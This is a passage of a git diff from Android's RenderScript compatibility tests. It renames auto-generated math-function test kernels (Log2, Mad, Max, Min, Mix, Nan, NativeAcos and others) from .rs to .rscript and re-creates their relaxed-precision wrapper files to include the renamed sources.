+ */
+
+// Don't edit this file!  It is auto-generated by frameworks/rs/api/generate.sh.
+
+#include "TestLog1p.rscript"
+#pragma rs_fp_relaxed
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestLog2.rs b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestLog2.rscript
similarity index 100%
rename from tests/tests/renderscript/src/android/renderscript/cts/generated/TestLog2.rs
rename to tests/tests/renderscript/src/android/renderscript/cts/generated/TestLog2.rscript
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestLog2Relaxed.rs b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestLog2Relaxed.rs
deleted file mode 100644
index 4ef603e..0000000
--- a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestLog2Relaxed.rs
+++ /dev/null
@@ -1,20 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-// Don't edit this file!  It is auto-generated by frameworks/rs/api/generate.sh.
-
-#include "TestLog2.rs"
-#pragma rs_fp_relaxed
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestLog2Relaxed.rscript b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestLog2Relaxed.rscript
new file mode 100644
index 0000000..1ade306
--- /dev/null
+++ b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestLog2Relaxed.rscript
@@ -0,0 +1,20 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+// Don't edit this file!  It is auto-generated by frameworks/rs/api/generate.sh.
+
+#include "TestLog2.rscript"
+#pragma rs_fp_relaxed
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestLogRelaxed.rs b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestLogRelaxed.rs
deleted file mode 100644
index 4cfbfcb..0000000
--- a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestLogRelaxed.rs
+++ /dev/null
@@ -1,20 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-// Don't edit this file!  It is auto-generated by frameworks/rs/api/generate.sh.
-
-#include "TestLog.rs"
-#pragma rs_fp_relaxed
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestLogRelaxed.rscript b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestLogRelaxed.rscript
new file mode 100644
index 0000000..3e9a399
--- /dev/null
+++ b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestLogRelaxed.rscript
@@ -0,0 +1,20 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+// Don't edit this file!  It is auto-generated by frameworks/rs/api/generate.sh.
+
+#include "TestLog.rscript"
+#pragma rs_fp_relaxed
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestLogb.rs b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestLogb.rscript
similarity index 100%
rename from tests/tests/renderscript/src/android/renderscript/cts/generated/TestLogb.rs
rename to tests/tests/renderscript/src/android/renderscript/cts/generated/TestLogb.rscript
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestLogbRelaxed.rs b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestLogbRelaxed.rs
deleted file mode 100644
index 0318d40..0000000
--- a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestLogbRelaxed.rs
+++ /dev/null
@@ -1,20 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-// Don't edit this file!  It is auto-generated by frameworks/rs/api/generate.sh.
-
-#include "TestLogb.rs"
-#pragma rs_fp_relaxed
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestLogbRelaxed.rscript b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestLogbRelaxed.rscript
new file mode 100644
index 0000000..a36a0bc
--- /dev/null
+++ b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestLogbRelaxed.rscript
@@ -0,0 +1,20 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+// Don't edit this file!  It is auto-generated by frameworks/rs/api/generate.sh.
+
+#include "TestLogb.rscript"
+#pragma rs_fp_relaxed
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestMad.rs b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestMad.rscript
similarity index 100%
rename from tests/tests/renderscript/src/android/renderscript/cts/generated/TestMad.rs
rename to tests/tests/renderscript/src/android/renderscript/cts/generated/TestMad.rscript
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestMadRelaxed.rs b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestMadRelaxed.rs
deleted file mode 100644
index f157e6e..0000000
--- a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestMadRelaxed.rs
+++ /dev/null
@@ -1,20 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-// Don't edit this file!  It is auto-generated by frameworks/rs/api/generate.sh.
-
-#include "TestMad.rs"
-#pragma rs_fp_relaxed
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestMadRelaxed.rscript b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestMadRelaxed.rscript
new file mode 100644
index 0000000..d3e104f
--- /dev/null
+++ b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestMadRelaxed.rscript
@@ -0,0 +1,20 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+// Don't edit this file!  It is auto-generated by frameworks/rs/api/generate.sh.
+
+#include "TestMad.rscript"
+#pragma rs_fp_relaxed
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestMax.rs b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestMax.rscript
similarity index 100%
rename from tests/tests/renderscript/src/android/renderscript/cts/generated/TestMax.rs
rename to tests/tests/renderscript/src/android/renderscript/cts/generated/TestMax.rscript
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestMaxRelaxed.rs b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestMaxRelaxed.rs
deleted file mode 100644
index 1f37a5e..0000000
--- a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestMaxRelaxed.rs
+++ /dev/null
@@ -1,20 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-// Don't edit this file!  It is auto-generated by frameworks/rs/api/generate.sh.
-
-#include "TestMax.rs"
-#pragma rs_fp_relaxed
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestMaxRelaxed.rscript b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestMaxRelaxed.rscript
new file mode 100644
index 0000000..1360d08
--- /dev/null
+++ b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestMaxRelaxed.rscript
@@ -0,0 +1,20 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+// Don't edit this file!  It is auto-generated by frameworks/rs/api/generate.sh.
+
+#include "TestMax.rscript"
+#pragma rs_fp_relaxed
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestMin.rs b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestMin.rscript
similarity index 100%
rename from tests/tests/renderscript/src/android/renderscript/cts/generated/TestMin.rs
rename to tests/tests/renderscript/src/android/renderscript/cts/generated/TestMin.rscript
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestMinRelaxed.rs b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestMinRelaxed.rs
deleted file mode 100644
index 2a047af..0000000
--- a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestMinRelaxed.rs
+++ /dev/null
@@ -1,20 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-// Don't edit this file!  It is auto-generated by frameworks/rs/api/generate.sh.
-
-#include "TestMin.rs"
-#pragma rs_fp_relaxed
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestMinRelaxed.rscript b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestMinRelaxed.rscript
new file mode 100644
index 0000000..0eee5ba
--- /dev/null
+++ b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestMinRelaxed.rscript
@@ -0,0 +1,20 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+// Don't edit this file!  It is auto-generated by frameworks/rs/api/generate.sh.
+
+#include "TestMin.rscript"
+#pragma rs_fp_relaxed
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestMix.rs b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestMix.rscript
similarity index 100%
rename from tests/tests/renderscript/src/android/renderscript/cts/generated/TestMix.rs
rename to tests/tests/renderscript/src/android/renderscript/cts/generated/TestMix.rscript
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestMixRelaxed.rs b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestMixRelaxed.rs
deleted file mode 100644
index 639dd50..0000000
--- a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestMixRelaxed.rs
+++ /dev/null
@@ -1,20 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-// Don't edit this file!  It is auto-generated by frameworks/rs/api/generate.sh.
-
-#include "TestMix.rs"
-#pragma rs_fp_relaxed
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestMixRelaxed.rscript b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestMixRelaxed.rscript
new file mode 100644
index 0000000..ed5516a
--- /dev/null
+++ b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestMixRelaxed.rscript
@@ -0,0 +1,20 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+// Don't edit this file!  It is auto-generated by frameworks/rs/api/generate.sh.
+
+#include "TestMix.rscript"
+#pragma rs_fp_relaxed
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestModf.rs b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestModf.rscript
similarity index 100%
rename from tests/tests/renderscript/src/android/renderscript/cts/generated/TestModf.rs
rename to tests/tests/renderscript/src/android/renderscript/cts/generated/TestModf.rscript
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestModfRelaxed.rs b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestModfRelaxed.rs
deleted file mode 100644
index 3d73523..0000000
--- a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestModfRelaxed.rs
+++ /dev/null
@@ -1,20 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-// Don't edit this file!  It is auto-generated by frameworks/rs/api/generate.sh.
-
-#include "TestModf.rs"
-#pragma rs_fp_relaxed
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestModfRelaxed.rscript b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestModfRelaxed.rscript
new file mode 100644
index 0000000..5e5eea1
--- /dev/null
+++ b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestModfRelaxed.rscript
@@ -0,0 +1,20 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+// Don't edit this file!  It is auto-generated by frameworks/rs/api/generate.sh.
+
+#include "TestModf.rscript"
+#pragma rs_fp_relaxed
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNan.rs b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNan.rscript
similarity index 100%
rename from tests/tests/renderscript/src/android/renderscript/cts/generated/TestNan.rs
rename to tests/tests/renderscript/src/android/renderscript/cts/generated/TestNan.rscript
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNanHalf.rs b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNanHalf.rscript
similarity index 100%
rename from tests/tests/renderscript/src/android/renderscript/cts/generated/TestNanHalf.rs
rename to tests/tests/renderscript/src/android/renderscript/cts/generated/TestNanHalf.rscript
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNanHalfRelaxed.rs b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNanHalfRelaxed.rs
deleted file mode 100644
index 619400c..0000000
--- a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNanHalfRelaxed.rs
+++ /dev/null
@@ -1,20 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-// Don't edit this file!  It is auto-generated by frameworks/rs/api/generate.sh.
-
-#include "TestNanHalf.rs"
-#pragma rs_fp_relaxed
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNanHalfRelaxed.rscript b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNanHalfRelaxed.rscript
new file mode 100644
index 0000000..0e6db3d
--- /dev/null
+++ b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNanHalfRelaxed.rscript
@@ -0,0 +1,20 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+// Don't edit this file!  It is auto-generated by frameworks/rs/api/generate.sh.
+
+#include "TestNanHalf.rscript"
+#pragma rs_fp_relaxed
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNanRelaxed.rs b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNanRelaxed.rs
deleted file mode 100644
index e9970af..0000000
--- a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNanRelaxed.rs
+++ /dev/null
@@ -1,20 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-// Don't edit this file!  It is auto-generated by frameworks/rs/api/generate.sh.
-
-#include "TestNan.rs"
-#pragma rs_fp_relaxed
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNanRelaxed.rscript b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNanRelaxed.rscript
new file mode 100644
index 0000000..590dda3
--- /dev/null
+++ b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNanRelaxed.rscript
@@ -0,0 +1,20 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+// Don't edit this file!  It is auto-generated by frameworks/rs/api/generate.sh.
+
+#include "TestNan.rscript"
+#pragma rs_fp_relaxed
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeAcos.rs b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeAcos.rscript
similarity index 100%
rename from tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeAcos.rs
rename to tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeAcos.rscript
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeAcosRelaxed.rs b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeAcosRelaxed.rs
deleted file mode 100644
index 9b857c8..0000000
--- a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeAcosRelaxed.rs
+++ /dev/null
@@ -1,20 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-// Don't edit this file!  It is auto-generated by frameworks/rs/api/generate.sh.
-
-#include "TestNativeAcos.rs"
-#pragma rs_fp_relaxed
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeAcosRelaxed.rscript b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeAcosRelaxed.rscript
new file mode 100644
index 0000000..07efc25
--- /dev/null
+++ b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeAcosRelaxed.rscript
@@ -0,0 +1,20 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+// Don't edit this file!  It is auto-generated by frameworks/rs/api/generate.sh.
+
+#include "TestNativeAcos.rscript"
+#pragma rs_fp_relaxed
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeAcosh.rs b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeAcosh.rscript
similarity index 100%
rename from tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeAcosh.rs
rename to tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeAcosh.rscript
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeAcoshRelaxed.rs b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeAcoshRelaxed.rs
deleted file mode 100644
index 3750a6e..0000000
--- a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeAcoshRelaxed.rs
+++ /dev/null
@@ -1,20 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-// Don't edit this file!  It is auto-generated by frameworks/rs/api/generate.sh.
-
-#include "TestNativeAcosh.rs"
-#pragma rs_fp_relaxed
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeAcoshRelaxed.rscript b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeAcoshRelaxed.rscript
new file mode 100644
index 0000000..757fb1b
--- /dev/null
+++ b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeAcoshRelaxed.rscript
@@ -0,0 +1,20 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+// Don't edit this file!  It is auto-generated by frameworks/rs/api/generate.sh.
+
+#include "TestNativeAcosh.rscript"
+#pragma rs_fp_relaxed
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeAcospi.rs b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeAcospi.rscript
similarity index 100%
rename from tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeAcospi.rs
rename to tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeAcospi.rscript
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeAcospiRelaxed.rs b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeAcospiRelaxed.rs
deleted file mode 100644
index 5e900e9..0000000
--- a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeAcospiRelaxed.rs
+++ /dev/null
@@ -1,20 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-// Don't edit this file!  It is auto-generated by frameworks/rs/api/generate.sh.
-
-#include "TestNativeAcospi.rs"
-#pragma rs_fp_relaxed
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeAcospiRelaxed.rscript b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeAcospiRelaxed.rscript
new file mode 100644
index 0000000..46ec338
--- /dev/null
+++ b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeAcospiRelaxed.rscript
@@ -0,0 +1,20 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+// Don't edit this file!  It is auto-generated by frameworks/rs/api/generate.sh.
+
+#include "TestNativeAcospi.rscript"
+#pragma rs_fp_relaxed
